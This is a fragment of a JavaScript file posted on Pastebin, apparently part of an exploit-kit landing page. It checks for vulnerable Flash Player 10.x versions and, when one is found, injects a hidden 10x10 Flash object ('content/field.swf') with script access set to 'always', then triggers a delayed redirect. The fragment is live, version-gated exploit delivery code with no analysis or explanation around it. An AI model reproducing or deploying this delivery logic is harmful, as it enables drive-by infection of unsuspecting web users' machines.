  791.     if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10 && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == 10 && ver2 < 2))) {
  792.         var fname = "content/field";
  793.         var Flash_obj = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
  794.         Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  795.         al = "always";
  796.         Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  797.         Flash_obj += "<param name='Play' value='0' />";
  798.         Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  799.         Flash_obj += "allowScriptAccess='" + al + "'";
  800.         Flash_obj += "type='application/x-shockwave-flash'";
  801.         Flash_obj += "width='10' height='10'>";
  802.         Flash_obj += "</embed>";
  803.         Flash_obj += "</object>";
  804.         var oSpan = document.createElement("span");
  805.         document.body.appendChild(oSpan);
  806.         oSpan.innerHTML = Flash_obj;
  807.     }
  808.     setTimeout(end_redirect, 8000);
  809. }
  810. spl0();
RAW Paste Data
Want to get better at JavaScript?
Learn to code JavaScript in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top